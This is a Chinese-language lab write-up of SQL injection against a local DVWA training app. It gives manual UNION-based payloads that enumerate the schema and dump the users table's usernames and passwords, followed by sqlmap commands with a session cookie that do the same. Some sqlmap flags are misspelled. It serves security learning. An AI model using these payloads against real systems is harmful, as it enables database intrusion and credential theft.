一、sql injection(low)
(1)手动
输入1查询成功
输入1’ or ‘1’ = '1 查询到多个数据,于是判断存在字符型注入
输入1’ or 1 = 1 order by 1 # 查询成功
输入1’ or 1 = 1 order by 2 #查询成功
输入1’ or 1 = 1 order by 3 #返回错误,说明字段为2(通过百度搜索得知:也可以通过输入1’ union select 1,2 #来猜解字段数)
输入1’ union select 1, database() #,查询数据库名称为dvwa
输入1’ union select 1,table_name from information_schema.tables where table_schema = ‘dvwa’# 爆表名
得到存在两个表,users 和 gustbook
输入1’ union select 1,column_name from information_schema.columns where table_name=‘users’ # 爆users 的列
得到了很多的列,但是看到十分明显的USER和password两列,于是爆它们的字段。
输入1’ union select 1,concat(USER,password) from users#得到字段
再故技重施,爆得gustbook的列与name的字段
此次手动sql注入基本完成。
(2)sqlmap
sqlmap -u “http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#” --cookie=“security=low;PHPSESSID=1ijc7cmjqi…s0mpp6” --batch
发现系统存在注入点
sqlmap -u “http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#” --cookie=“security=low;PHPSESSID=1ijc7cmjqi…s0mpp6” --batch --dbs
得到数据库
sqlmap -u “http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#” --cookie=“security=low;PHPSESSID=1ijc7cmjqi5smo419qhis0mpp6” -D dvwa --tabelse
查询dvwa中的表
sqlmap -u “http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#” --cookie=“security=low;PHPSESSID=1ijc7cmjqi5…mpp6” -D dvwa -T users --column
查询users的字段
sqlmap -u “http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#” --cookie=“security=low;PHPSESSID=1ijc7cmjqi5smo419qhis0mpp6” -D dvwa -T users -C “users,password”
查询users 和 password 字段内容
等待系统自动解密后得到所有内容
sqlmap注入成功。